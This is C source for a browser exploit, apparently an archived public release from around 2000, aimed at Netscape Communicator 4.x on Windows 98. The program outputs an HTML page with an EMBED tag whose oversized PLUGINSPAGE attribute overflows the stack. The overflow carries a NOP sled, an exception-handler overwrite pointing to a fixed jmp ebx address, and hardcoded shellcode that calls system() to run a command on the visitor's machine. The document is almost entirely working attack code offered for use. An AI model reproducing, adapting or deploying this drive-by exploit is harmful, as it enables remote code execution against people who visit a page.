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- /************************************************************************/
- /* Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98 */
- /* */
- /* written by R00t Zer0(defcon0@ugtop.com) */
- /* */
- /* DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm) */
- /************************************************************************/
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <time.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-
- #define STACK_LEN ( 2135 )
- #define EMBED_TYPE_LEN ( 150 )
- #define XPT_HDL_OFFSET ( 588 )
- #define JMPS_OFFSET ( 6 )
- #define JMP_EBX_ADDR ( 0xbff7a06b )
- #define INT01H_ADDR ( 0xbff73d30 )
- #define NOP_CODE ( 0x90 )
- #define JMPS_CODE ( 0xeb )
- #define FUNCTION "msvcrt.dll.system.exit."
- #define COMMAND "welcome.exe"
- #define CMDLENP ( 65 )
-
-
- int
- main( void )
- {
- u_char win98_exec_code[100] = {
- 0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
- 0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
- 0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
- 0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
- 0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
- 0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
-
- u_char exploit_code[ STACK_LEN ];
- u_char embed_type[ EMBED_TYPE_LEN ];
- u_long ip;
- int loop;
-
- srand( ( u_int )time( 0 ) );
-
- bzero( exploit_code, sizeof( exploit_code ) );
- for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
- exploit_code [loop ] = NOP_CODE;
-
- /* make exploit code */
- ip = JMP_EBX_ADDR;
- exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
- exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
- exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
- exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
- exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8 ) );
- exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0 ) );
-
- win98_exec_code[ CMDLENP ] = strlen( COMMAND );
- strcat( exploit_code, win98_exec_code );
- strcat( exploit_code, FUNCTION );
- strcat( exploit_code, COMMAND );
-
-
- /* set random type */
- for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
- embed_type[ loop ] = 0x23 + ( rand() % 93 );
-
- /* print html */
- printf( "Content-type: text/html\n\n" );
- printf( "<HTML>\n" );
- printf( "<HEAD>\n" );
- printf( " <TITLE>Netscape communicator 4.x Exploit!!</TITLE>\n" );
- printf( "</HEAD>\n" );
- printf( "<BODY>\n" );
-
- printf( "<EMBED SRC=\"FreeUNYUN!\" PLUGINSPAGE=\"%s\" ", exploit_code );
- printf( "TYPE=\"%s\" WIDTH=\"1500\" HEIGHT=\"1000\">\n", embed_type );
- printf( "</EMBED>\n</BODY>\n</HTML>\n" );
-
- return( 0 );
- }
- /* www.hack.co.za [2000]*/